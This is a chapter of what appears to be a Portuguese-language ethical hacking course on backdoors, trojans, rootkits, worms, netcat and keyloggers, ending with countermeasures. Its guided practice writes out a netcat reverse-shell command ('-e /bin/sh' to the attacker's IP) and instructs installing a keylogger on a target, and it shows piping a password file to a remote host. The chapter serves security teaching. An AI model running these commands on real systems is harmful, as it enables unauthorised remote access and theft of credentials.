

Capítulo 9

Trojans, Backdoors, Vírus, Rootkits e Worms

9.1. Objetivos

- Entender a diferença entre vírus e worms
- Entender o funcionamento das backdoors
- Entender as funcionalidades do trojan
- Entender o conceito de rootkit

9.2. Backdoor

As backdoors são programas destinados a fornecer um meio de acesso remoto ao hacker a uma máquina que provavelmente teve sua segurança comprometida por ele anteriormente. Normalmente, esses programas abrem uma porta no computador atacado, e nessa porta tem o servidor do hacker escutando, apenas esperando o hacker se conectar nela para dar total acesso ao computador.

Mas, como esse método ficou fácil de ser detectado, pois com uma simples varredura por portas abertas na máquina entregaria o hacker, novas técnicas mais avançadas tem surgido, tais como backdoors que não abrem portas, mas sim ficam ouvindo portas já abertas na máquina, e então quando detectam um tipo específico de dado previamente estabelecido chegando nessa porta, a backdoor já sabe que é o hacker que está querendo se conectar ao alvo e então, lança uma conexão para o computador do hacker. Esse tipo de backdoor é conhecido por Non-listen Backdoor.

Também podemos ter backdoors implantadas propositalmente em programas pelos programadores. Existem diversos casos onde foram descobertas maneiras de acessar um programa através de um login ou comando que não estava documentado.

9.3. Cavalo de Tróia ou Trojan Horse

Segundo os historiadores, os gregos tentaram invadir Tróia e sempre eram derrotados pelos troianos. Então, os gregos tiveram uma brilhante idéia de criar um cavalo de madeira onde eles iriam colocar diversos soldados e presentear os troianos como reconhecimento da potencial defesa e declaração de paz. Com isso, os gregos conseguiram chegar ao coração de Tróia sem passar pelos muros e soldados troianos. Então, enquanto os troianos comemoravam a vitória e descansavam tranquilamente, os soldados gregos saíram do cavalo e atacaram Tróia, que acabou sendo conquistada pelos gregos. Essa história ficou conhecida como Cavalo de Tróia.

Então, depois de vários séculos desse acontecimento, acabamos descobrindo que esse truque foi ressuscitado.

Os cavalos de tróia dos computadores são programas que aparentemente funcionam normais, mas na verdade eles acabam realizando outra tarefa sem que o usuário tome conhecimento. Um exemplo disso é quando recebemos um email contendo um jogo anexado. Quando rodamos o jogo, conseguimos jogar normalmente, mas na verdade, além do jogo, pode estar sendo executados outros programas em conjuntos para dar acesso ao seu computador a um possível atacante quando você se conectar à internet ou então, você pode ter informações roubadas e enviadas por email para o atacante ou onde for a imaginação do hacker.

Um exemplo de um cavalo de tróia é quando um hacker altera um arquivo do computador para se esconder ou esconder os seus arquivos dentro da máquina invadida. Isso pode ser feito alterando o programa responsável por listar os arquivos dentro de um diretório ou então alterando o programa responsável por mostrar todas as conexões ativas ao computador para o administrador.

Um hacker, quando ataca uma máquina, provavelmente ele irá instalar um conjunto de ferramentas formadas por trojans e backdoor, para se esconder e garantir o acesso futuro a máquina que foi invadida. Esse conjunto de ferramenta é conhecido por Rootkit.

9.4. Rootkits

Rootkit é um conjunto de ferramentas que tem como objetivo ofuscar determinadas ocorrências do sistema em que se encontra. Normalmente um rootkit é constituído por trojans e backdoors.

Temos dois principais tipos de rootkits:

User-land

Os binários originais são alterados por binários modificados, alterando o fluxo normal do programa;

Primeiramente é executado o código do rootkit e só então é realizada a funcionalidade real do programa.

Kernel-land

Adiciona código malicioso no kernel através de LKM (Loadable Kernel Module), drivers, inserção de código direto na memória, hook de syscall table;

Se bem implementado, é praticamente impossível de ser detectado com o SO em execução, precisando fazer análise da imagem.

Algumas das funcionalidades do Kernel-land rootkit:

- **Hide Itself:** O módulo se oculta, não aparecendo na listagem de módulos, tornando assim impossível de descarregá-lo;
- **File Hider:** Todos os arquivos que possuir uma pré-determinada palavra em seu nome serão ocultos da visualização;
- **Process Hider:** Todos os processos que possuir uma pré-determinada palavra em seu nome serão ocultos da visualização;
- **Socket Backdoor:** Se um pacote com um tamanho predefinido contendo uma string especificada no rootkit for recebido, será iniciado um programa, normalmente uma backdoor.

9.5. Vírus e worms

Vírus e worms podem ser usados para infectar e modificar um sistema a fim de permitir que um atacante ganhe acesso ao mesmo. Muitos vírus e worms carregam trojans e backdoors.

Um vírus e um worm são softwares maliciosos (malware). A principal diferença entre o vírus e o worm é que o primeiro, precisa ser executado para infectar o sistema. O segundo se espalha automaticamente, tendo um poder de infecção muito maior.

Os vírus, para começar a trabalhar, precisam ser ativados, ou seja, você precisa executar o programa infectado. Somente após isso, ele começará a infectar outros arquivos. Se algum arquivo infectado for levado e executado em outro computador, então o vírus começará a atacar os arquivos dos outros computadores também.

Tanto os vírus quanto os cavalos de tróia não conseguem infectar um computador externo sem a ajuda de uma pessoa.

O worm ou verme é um programa que pode infectar tanto uma máquina local quando uma máquina externa. Normalmente, os worms exploram falhas de segurança em outros programas para se propagarem, como é o caso do worm BLASTER, que ficou mundialmente conhecido após infectar milhares de computadores e poucas horas. Esse worm explorava um problema de programação em um serviço conhecido por rpc-dcom, que vem ativado por padrão nos sistemas operacionais Windows 2000 e Windows XP.

Porém, nem todos os Worms são destrutivos. Alguns worms já foram lançados para “limpar” computadores de pessoas que estavam infectadas por outros worms nocivos.

9.6. Netcat

Netcat é uma ferramenta usada para ler e escrever dados em conexões de rede usando o protocolo TCP/IP. Dada sua grande versatilidade, o Netcat é considerado pelos hackers o canivete suíço do TCP/IP, podendo ser usado para fazer desde portscans até brute force attacks.

O nome netcat vem do comando "cat" do Linux/Unix. O cat concatena arquivos e envia para a saída padrão (stdout). O netcat faz praticamente o mesmo, porém ao invés de concatenar arquivos, o netcat concatena sockets TCP e UDP.

Possui inúmeras funções, dentre as quais:

- Varredura de portas;
- Banner grabbing;
- Criação de backdoor;
- Tunelamento e etc.

Além de facilitar a vida do administrador de rede, também facilita a vida de um invasor, portanto, cuidado! Mate seu processo e remova o binário sempre após a

utilização, caso não queira tornar-se a vítima.

9.6.1. Opções do Netcat

- -e comando - Executa o comando especificado usando como entrada (stdin) os dados recebidos pela rede e enviando os dados de saída (stdout e stderr) para a rede. Essa opção somente estará presente se o nc for compilado com a opção GAPIING_SECURITY_HOLE, já que permite que usuários disponibilizem programas para qualquer um conectado a rede;
- -i - Especifica o intervalo de tempo no qual as linhas de texto serão enviadas ou recebidas;
- -l - Coloca no netcat em estado de escuta (listening);
- -L - Coloca no netcat em estado de escuta (listening), reiniciando o netcat com a mesma linha de comando caso a conexão feche;
- -n - Força o netcat a usar apenas endereços de IP numéricos, sem fazer consultas a servidores DNS;
- -o filename - Usando para obter um log dos dados de entrada ou saída, em formato hexadecimal;
- -p - Especifica a porta a ser usada, sujeito a disponibilidade e a restrições de privilégio;
- -r - Faz as portas do portscan serem escolhidas aleatoriamente;
- -s - Especifica o endereço IP da interface usada para enviar os pacotes. Pode ser usado para spoofing de IPs, bastando apenas configurar uma interface do tipo eth0:0 (usando o ifconfig) com o IP desejado;
- -t - Permite usar o nc para criar sessões de telnet por script. Precisa estar compilado com a opção -DTELNET;
- -u - Usar UDP ao invés de TCP;

- -v - Controla o nível de mensagens mostradas na tela;
- -w - Limita o tempo máximo para que uma conexão seja estabelecida;
- -z - Para evitar o envio de dados através de uma conexão TCP, e limitar os dados de uma conexão UDP.

9.6.2. Netcat - Utilização

Transferência de arquivos:

- No servidor:



```
# netcat -l -p 5050 > pass.txt
```

- No cliente:



```
# cat pass.txt | netcat ip_server 5050
```

Uso como scanner



```
# nc -vv 127.0.0.1 22-25
```

9.6.3. Encadeando Netcats

Netcat foi desenvolvido para trabalhar com um pipeline, então naturalmente a saída de uma instância do Netcat pode alimentar a entrada de outro. Abaixo segue uma maneira de enviar um arquivo de log de um host para outro através de um intermediário:



```
host3# nc -l > log.txt  
host2# nc -l --sh-exec "ncat host3"  
host1# nc --send-only host2 < log.txt
```

O Netcat em modo de escuta no host2, ao receber uma conexão cria um "novo netcat" para falar com o host3 e conecta a entrada e saída do programa em execução no host1 e host3 encadeando-os. Esse mesmo "macete" pode ser utilizado em um host local também. O exemplo a seguir direciona a porta 8080 para o servidor web exemplo.org.br:



```
# nc -l localhost 8080 --sh-exec "ncat exemplo.org.br 80"
```

9.7. Keylogger

Keylogger são programas utilizados para gravar tudo aquilo que o usuário digita no teclado. Alguns, mais avançados, armazenam screenshots da tela ou até mesmo a área ao redor do ponteiro do mouse onde ocorre um click.

Exemplos de Keyloggers:

- Ardamax - Windows
- Pykeylogger - Linux - <http://sourceforge.net/projects/pykeylogger/files/>

Além dos keyloggers lógicos, temos os keyloggers físicos, que podem ser comprados em lojas virtuais por poucos dólares.



Esses keyloggers físicos se parecem com adaptadores de teclados PS2/USB, sendo instalados entre o cabo do teclado e a entrada PS2 da CPU, só que eles armazenam dentro de uma memória flash tudo o que é digitado no teclado “grampeado”.

Obviamente, que a instalação de um dispositivo desses, seja lógico ou físico, necessita do uso de recursos de engenharia social para que o mesmo seja instalado na máquina do alvo. E no caso do keylogger físico, o atacante precisa ter acesso físico à máquina, tanto para instalar, quanto para pegar de volta o dispositivo.

9.8. Prática dirigida

1. Vamos criar uma backdoor e acessar a máquina alvo através dela.

Na máquina do atacante execute:



```
#nc -l -p 4000
```

Na máquina da vítima execute:



```
#nc ip_do_atacante 4000 -e /bin/sh
```

2. Copiar o pykeylogger para a máquina alvo e executá-lo.

9.9. Contramedidas

- Monitorar constantemente os serviços executados na máquina e as portas abertas.
- Realizar varreduras constantes utilizando ferramentas específicas, como o Unhide, chkrootkit e o Security Auditor's Research Assistant (SARA), por exemplo.
- Evitar realizar a maioria das tarefas como root, já que para a infecção e alastramento, a maioria dos malwares precisam de privilégios de root.